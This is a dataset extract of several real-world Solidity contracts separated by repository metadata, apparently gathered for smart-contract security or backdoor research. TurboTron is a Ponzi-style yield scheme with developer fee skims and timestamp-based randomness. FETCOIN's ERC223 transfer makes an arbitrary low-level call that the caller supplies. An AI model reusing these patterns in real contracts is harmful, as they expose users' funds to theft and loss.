/// @dev Preventing unstable dumping and limit ambassador mine
modifier antiEarlyWhale {
if (address(this).balance -msg.value < whaleBalanceLimit){
require(msg.value <= maxEarlyStake);
}
if (depositCount_ == 0){
require(ambassadors_[msg.sender] && msg.value == 0.5 ether);
}else
if (depositCount_ < 2){
require(ambassadors_[msg.sender] && msg.value == 0.8 ether);
}
_;
}
/// @dev easyOnTheGas
modifier isControlled() {
require(isPremine() || isStarted());
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
// ERC20
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "TempleOfETH Token";
string public symbol = "TMPL";
uint8 constant public decimals = 18;
/// @dev 15% dividends for token selling
uint8 constant internal exitFee_ = 15;
/// @dev 33% masternode
uint8 constant internal refferalFee_ = 33;
/// @dev P3D pricing
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
/// @dev 100 needed for masternode activation
uint256 public stakingRequirement = 100e18;
/// @dev anti-early-whale
uint256 public maxEarlyStake = 2.5 ether;
uint256 public whaleBalanceLimit = 100 ether;
/// @dev light the fuse
address public fuse;
/// @dev starting
uint256 public startTime = 0;
/// @dev one shot
bool public startCalled = false;
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
uint256 public depositCount_;
mapping(address => bool) internal ambassadors_;
constructor () public {
fuse = msg.sender;
// Masternode sales & promotional fund
ambassadors_[fuse]=true;
//cadmael
ambassadors_[0x5aFa2A530B83E239261Aa46C6c29c9dF371FAA62]=true;
ambassadors_[0x2fB1163A439fb5FC3a3b169E9519EAbd92E9fef2]=true;
}
// @dev Function setting the start time of the system
function setStartTime(uint256 _startTime) public {
require(msg.sender==fuse && !isStarted() && now < _startTime && !startCalled);
require(_startTime > now);
startTime = _startTime;
startCalled = true;
}
function buy(address _referredBy) antiEarlyWhale easyOnTheGas isControlled public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy , msg.sender);
}
function purchaseFor(address _referredBy, address _customerAddress) antiEarlyWhale easyOnTheGas isControlled public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy , _customerAddress);
}
function() antiEarlyWhale easyOnTheGas isControlled payable public {
purchaseTokens(msg.value, 0x0 , msg.sender);
}
/// @dev Converts all of caller's dividends to tokens.
function reinvest() onlyStronghands public {
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0 , _customerAddress);
// fire event
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
/// @dev Alias of sell() and withdraw().
function exit() public {
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
// capitulation
withdraw();
}
/// @dev Withdraws all of the callers earnings.
function withdraw() onlyStronghands public {
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
emit onWithdraw(_customerAddress, _dividends);
}
/// @dev Liquifies tokens to ethereum.
function sell(uint256 _amountOfTokens) onlyBagholders public {
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if (myDividends(true) > 0) {
withdraw();
}
return transferInternal(_toAddress,_amountOfTokens,_customerAddress);
}
function transferInternal(address _toAddress, uint256 _amountOfTokens , address _fromAddress) internal returns (bool) {
// setup
address _customerAddress = _fromAddress;
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);
// fire event
emit Transfer(_customerAddress, _toAddress, _amountOfTokens);
// ERC20
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return address(this).balance;
}
/// @dev Retrieve the total token supply.
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
/// @dev Retrieve the tokens owned by the caller.
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/// @dev Retrieve the token balance of any single address.
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
/// @dev Retrieve the dividend balance of any single address.
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/// @dev Return the sell price of 1 individual token.
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Return the buy price of 1 individual token.
function buyPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee()), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of buy orders.
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee()), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of sell orders.
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
/// @dev Function for the frontend to get untaxed receivable ethereum.
function calculateUntaxedEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
//uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee()), 100);
//uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _ethereum;
}
function entryFee() public view returns (uint8){
uint256 volume = address(this).balance - msg.value;
if (volume<=10 ether){
return 40;
}
if (volume<=20 ether){
return 35;
}
if (volume<=50 ether){
return 30;
}
if (volume<=100 ether){
return 25;
}
if (volume<=250 ether){
return 20;
}
return 15;
}
// @dev Function for find if premine
function isPremine() public view returns (bool) {
return depositCount_<=5;
}
// @dev Function for find if premine
function isStarted() public view returns (bool) {
return startTime!=0 && now > startTime;
}
/// @dev Internal function to actually purchase the tokens.
function purchaseTokens(uint256 _incomingEthereum, address _referredBy , address _customerAddress) internal returns (uint256) {
// data setup
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee()), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
// is the user referred by a masternode?
if (// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if (tokenSupply_ > 0) {
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
// really i know you think you do but you don't
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
// Keep track
depositCount_++;
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((// underflow attempts BTFO
SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(// underflow attempts BTFO
SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _etherReceived;
}
/// @dev This is where all your gas goes.
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 143,813 | 14,048 |
2f2a3a34b686e09ba1377a63ef11d9eaede6a9ccca34cf616fc4a3b438983546
| 15,548 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TA/TAu4JFz7C87B3CgVPS8sgn2UxjpzXCNGz4_TurboTron.sol
| 4,227 | 14,591 |
//SourceUnit: TurboTron.sol
pragma solidity 0.5.8;
contract TurboTron {
struct Deposit {
uint256 amount;
uint256 depTime;
uint256 payout;
}
struct Player {
address upline;
Deposit[] deposits;
uint256 id;
bool imlucky;
uint256 last_payout;
uint256 last_withdraw;
uint256 last_reinvest;
uint256 reinvest_active;
uint256 depositCount;
uint256 reinvestCount;
uint256 dividends;
uint256 tarifN;
uint256 oldRef;
uint256 refer_bonus;
uint256 cback_bonus;
uint256 lucky_bonus;
uint256 total_deposited;
uint256 total_withdrawn;
uint256 total_reinvested;
uint256 total_refer_bonus;
mapping(uint8 => uint256) structure;
}
address payable private dev;
uint256 private contract_CreateTime;
uint256 private contract_StartTime;
uint256 private invested;
uint256 private investors;
uint256 private totalWithdrawn;
uint256 private total_refer_bonus;
uint256 private depositCount;
uint256 private balance_bonus;
uint256 private last_balance;
uint256 private last_read_balance;
uint256[10] private luckyNumbers;
uint8[] private ref_bonuses;
// Const
uint256 private constant ADVERTISING_FEE = 10;
uint256 private constant MAINTENANCE_FEE = 5;
uint256 private constant DAILY_HOLDBONUS = 0.2E9;
uint256 private constant MAX_HOLDBONUS = 5E9;
uint256 private constant UNI_TEAMBONUS = 0.1E9;
uint256 private constant MAX_TEAMBONUS = 10E9;
uint256 private constant UNI_REINVESTBONUS = 0.3E9;
uint256 private constant DAILY_BALACEBONUS = 0.2E9;
uint256 private constant DEFAULT_PLANBONUS = 8E9;
uint256 private constant MIN_PLANBONUS = 1E9;
uint256 private constant PENALTY_PLANBONUS = 1E9;
uint256 private constant DEFAULT_LUCKY_BONUS = 100E6;
uint256 private constant MIN_INVEST = 50E6;
uint256 private constant MAX_PLANPROFIT = 320;
uint256 private constant WAIT_FOR_REINVEST = 24 * 60 * 60;
uint256 private constant WAIT_FOR_BALANCE = 24 * 60 * 60;
uint256 private constant CONTRACT_TIMETOSTART = 24 * 60 * 60;
mapping(address => Player) private players;
event Upline(address indexed addr, address indexed upline, uint256 bonus);
event NewDeposit(address indexed addr, uint256 amount);
event MatchPayout(address indexed addr, address indexed from, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
constructor() public {
dev = msg.sender;
ref_bonuses.push(10);
contract_CreateTime = now;
contract_StartTime = contract_CreateTime + CONTRACT_TIMETOSTART;
last_balance = getContractBalance();
last_read_balance = contract_StartTime;
for (uint256 i = 0; i < luckyNumbers.length; i++) {
luckyNumbers[i] = getLuckyNumber(i*i);
}
}
function getLuckyNumber(uint256 param) view private returns (uint256) {
uint8 value = uint8(uint256(keccak256(abi.encode(block.timestamp + param, block.difficulty + param)))%300) + 1;
return value;
}
function refPayout(address _addr, uint256 _amount) private {
address up = players[_addr].upline;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(up == address(0)) break;
uint256 bonus = _amount * ref_bonuses[i] / 100;
players[up].refer_bonus += bonus;
players[up].total_refer_bonus += bonus;
total_refer_bonus += bonus;
emit MatchPayout(up, _addr, bonus);
up = players[up].upline;
}
}
function setUpline(address _addr, address _upline, uint256 _amount) private {
if(players[_addr].upline == address(0) && _addr != dev) {
if(players[_upline].depositCount == 0) {
_upline = dev;
}
else {
players[_addr].cback_bonus += _amount * 1 / 100;
players[_addr].total_refer_bonus += _amount * 1 / 100;
total_refer_bonus += _amount * 1 / 100;
}
players[_addr].upline = _upline;
emit Upline(_addr, _upline, _amount * 1 / 100);
for(uint8 i = 0; i < ref_bonuses.length; i++) {
players[_upline].structure[i]++;
_upline = players[_upline].upline;
if(_upline == address(0)) break;
}
}
}
function deposit(address _upline) external payable {
updateBalanceBonus();
Player storage player = players[msg.sender];
require(now >= contract_StartTime, "Deposits are not available yet");
require(msg.value >= MIN_INVEST, "Minimum deposit is 50 TRX");
setUpline(msg.sender, _upline, msg.value);
if (player.depositCount == 0) {
player.last_payout = now;
player.last_withdraw = now;
player.last_reinvest = now;
player.tarifN = DEFAULT_PLANBONUS;
investors++;
player.id = investors;
player.imlucky = false;
for (uint256 i = 0; i < luckyNumbers.length; i++) {
if (player.id == luckyNumbers[i]) {
player.imlucky = true;
player.lucky_bonus = DEFAULT_LUCKY_BONUS;
break;
}
}
}
player.deposits.push(Deposit(msg.value, now, 0));
player.depositCount++;
player.total_deposited += msg.value;
depositCount ++;
invested += msg.value;
payAdvFee(msg.value);
refPayout(msg.sender, msg.value);
emit NewDeposit(msg.sender, msg.value);
}
function withdraw() external {
updateBalanceBonus();
Player storage player = players[msg.sender];
player.dividends = getTotal_InterestProfit(msg.sender);
require(getContractBalance() >= player.dividends + player.refer_bonus + player.cback_bonus + player.lucky_bonus, "Contract balance < Interest Profit");
uint256 val;
uint256 amount = player.refer_bonus + player.cback_bonus + player.lucky_bonus;
for (uint256 i = 0; i < player.deposits.length; i++) {
val = getPlan_InterestProfit(msg.sender, i);
player.deposits[i].payout += val;
amount += val;
}
payMtcFee(amount);
player.oldRef = player.structure[0];
player.last_payout = now;
player.last_withdraw = now;
uint256 cTarif = player.tarifN;
player.tarifN = maxVal(MIN_PLANBONUS, minZero(cTarif, PENALTY_PLANBONUS));
player.dividends = 0;
player.refer_bonus = 0;
player.cback_bonus = 0;
player.lucky_bonus = 0;
player.reinvest_active = 0;
player.total_withdrawn += amount;
totalWithdrawn += amount;
msg.sender.transfer(amount);
emit Withdraw(msg.sender, amount);
}
function reinvest() external {
updateBalanceBonus();
Player storage player = players[msg.sender];
require(player.last_reinvest + WAIT_FOR_REINVEST < now, "Reinvest is not available yet");
uint256 val;
uint256 reinvestAmount = player.refer_bonus + player.cback_bonus + player.lucky_bonus;
for (uint256 i = 0; i < player.deposits.length; i++) {
val = getPlan_InterestProfit(msg.sender, i);
player.deposits[i].payout += val;
reinvestAmount += val;
}
player.last_payout = now;
player.last_reinvest = now;
player.reinvest_active++;
player.dividends = 0;
player.refer_bonus = 0;
player.cback_bonus = 0;
player.lucky_bonus = 0;
player.deposits.push(Deposit(reinvestAmount, now, 0));
player.reinvestCount++;
player.total_reinvested += reinvestAmount;
emit NewDeposit(msg.sender, reinvestAmount);
}
function updateBalanceBonus() internal {
if (now > last_read_balance + WAIT_FOR_BALANCE) {
uint currentBalance = getContractBalance();
uint currenBalanceBonus = balance_bonus;
if (currentBalance > last_balance) {
balance_bonus = currenBalanceBonus + DAILY_BALACEBONUS;
} else {
balance_bonus = minZero(currenBalanceBonus, DAILY_BALACEBONUS);
}
last_read_balance = now;
last_balance = currentBalance;
}
}
function getHoldBonus(address _addr) internal view returns(uint256) {
Player storage player = players[_addr];
uint256 elapsed_time;
if (player.depositCount > 0) {
elapsed_time = minZero(now, player.last_withdraw);
} else {
elapsed_time = 0;
}
return minVal(MAX_HOLDBONUS, DAILY_HOLDBONUS / 86400 * elapsed_time);
}
function getTeamBonus(address _addr) internal view returns(uint256) {
Player storage player = players[_addr];
uint256 newRef = minZero(player.structure[0], player.oldRef);
return minVal(UNI_TEAMBONUS * newRef, MAX_TEAMBONUS);
}
function getReinvestBonus(address _addr) internal view returns(uint256) {
Player storage player = players[_addr];
return UNI_REINVESTBONUS * player.reinvest_active;
}
function getLuckyBonus(address _addr) internal view returns(uint256) {
Player storage player = players[_addr];
return player.lucky_bonus;
}
function getBalanceBonus() internal view returns(uint256) {
return balance_bonus;
}
function getTarif(address _addr) internal view returns(uint256) {
Player storage player = players[_addr];
uint256 tN = player.tarifN;
uint256 tH = getHoldBonus(_addr);
uint256 tT = getTeamBonus(_addr);
uint256 tR = getReinvestBonus(_addr);
uint256 tB = getBalanceBonus();
return tN + tH + tT + tR + tB;
}
function getPlan_InterestProfit(address _addr, uint256 plan) view private returns(uint256) {
Player storage player = players[_addr];
uint256 div;
uint256 tarif = getTarif(_addr);
uint256 fr = maxVal(player.last_payout, player.deposits[plan].depTime);
uint256 to = now;
if(fr < to) {
div = minVal(minZero(player.deposits[plan].amount * MAX_PLANPROFIT / 100, player.deposits[plan].payout),
player.deposits[plan].amount * (to - fr) * tarif / 86400 / 100E9);
} else {
div = 0;
}
return div;
}
function getTotal_InterestProfit(address _addr) view private returns(uint256) {
Player storage player = players[_addr];
uint256 total_div;
for (uint256 i = 0; i < player.deposits.length; i++) {
total_div += getPlan_InterestProfit(_addr, i);
}
return total_div;
}
function getActiveDeposits(address _addr) view private returns(uint256) {
Player storage player = players[_addr];
uint256 amount;
for (uint256 i = 0; i < player.deposits.length; i++) {
if (getPlan_InterestProfit(_addr, i) > 0) {
amount += player.deposits[i].amount;
}
}
return amount;
}
function payAdvFee(uint256 val) private {
uint256 amount = (val * ADVERTISING_FEE) / 100;
dev.transfer(amount);
}
function payMtcFee(uint256 val) private {
uint256 amount = (val * MAINTENANCE_FEE) / 100;
dev.transfer(amount);
}
function minZero(uint256 a, uint256 b) private pure returns(uint256) {
if (a > b) {
return a - b;
} else {
return 0;
}
}
function maxVal(uint256 a, uint256 b) private pure returns(uint256) {
if (a > b) {
return a;
} else {
return b;
}
}
function minVal(uint256 a, uint256 b) private pure returns(uint256) {
if (a > b) {
return b;
} else {
return a;
}
}
function getContractBalance() internal view returns (uint256) {
return address(this).balance;
}
function contractInfo() view external returns(uint256 _invested, uint256 _investors, uint256 _referBonus, uint256 _withdrawn, uint256 _depositCount,
uint256 _contractStartTime, uint256 _contractIniTime) {
return (invested,
investors,
total_refer_bonus,
totalWithdrawn,
depositCount,
contract_StartTime,
minZero(contract_StartTime, now));
}
function userGeneralInfo(address _addr) view external returns(address _upline, uint256 _id, bool _imLucky, uint256 _referBonus, uint256 _cbackBonus,
uint256 _totalDeposited, uint256 _totalWithdrawn, uint256 _totalReinvested, uint256 _totalReferBonus,
uint256 _refLevel1, uint256[3] memory _structure) {
Player storage player = players[_addr];
for(uint8 i = 0; i < ref_bonuses.length; i++) {
_structure[i] = player.structure[i];
}
return (player.upline,
player.id,
player.imlucky,
player.refer_bonus,
player.cback_bonus,
player.total_deposited,
player.total_withdrawn,
player.total_reinvested,
player.total_refer_bonus,
player.structure[0],
_structure);
}
function userPlanInfo(address _addr) view external returns(uint256 _depositCount, uint256 _activeDeposit, uint256 _reinvestCount, uint256 _dividends, uint256 _nextReinvest) {
Player storage player = players[_addr];
return (player.depositCount,
getActiveDeposits(_addr),
player.reinvestCount,
getTotal_InterestProfit(_addr) + player.refer_bonus + player.cback_bonus + player.lucky_bonus,
minZero(player.last_reinvest + WAIT_FOR_REINVEST, now));
}
function userTarifInfo(address _addr) view external returns(uint256 _tarifN, uint256 _holdBonus, uint256 _teamBonus, uint256 _reinvestBonus, uint256 _balanceBonus, uint256 _giftBonus) {
Player storage player = players[_addr];
return (player.tarifN,
getHoldBonus(_addr),
getTeamBonus(_addr),
getReinvestBonus(_addr),
getBalanceBonus(),
player.lucky_bonus);
}
}
| 301,168 | 14,049 |
d24e848cf52dbde1158c392daf6a3425ff3a96e6b53d58d8ad26a6cf45a96836
| 11,797 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xefcec6d87e3ce625c90865a49f2b7482963d73fe.sol
| 3,025 | 11,400 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) onlyOwner public returns (bool _success) {
require(_newOwner != address(0));
owner = _newOwner;
OwnershipTransferred(owner, _newOwner);
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function isPaused() public view returns (bool _is_paused) {
return paused;
}
function pause() onlyOwner whenNotPaused public returns (bool _success) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused public returns (bool _success) {
paused = false;
Unpause();
return true;
}
}
contract ERC223 {
uint public totalSupply;
function balanceOf(address who) public view returns (uint _balance);
function totalSupply() public view returns (uint256 _totalSupply);
function transfer(address to, uint value) public returns (bool _success);
function transfer(address to, uint value, bytes data) public returns (bool _success);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool _success);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success);
function approve(address _spender, uint256 _value) public returns (bool _success);
function allowance(address _owner, address _spender) public view returns (uint256 _remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
contract FETCOIN is ERC223, Pausable {
using SafeMath for uint256;
struct Offering {
uint256 amount;
uint256 locktime;
}
string public name = "fetish coin";
string public symbol = "FET";
uint8 public decimals = 6;
uint256 public totalSupply = 10e10 * 1e6;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => bool) public frozenAccount;
mapping(address => mapping(address => Offering)) public offering;
event Freeze(address indexed target, uint256 value);
event Unfreeze(address indexed target, uint256 value);
event Burn(address indexed from, uint256 amount);
event Rain(address indexed from, uint256 amount);
function FETCOIN() public {
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 _balance) {
return balanceOf[_owner];
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) whenNotPaused public returns (bool _success) {
require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) whenNotPaused public returns (bool _success) {
require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value) whenNotPaused public returns (bool _success) {
require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function transferFrom(address _from, address _to, uint256 _value) whenNotPaused public returns (bool _success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
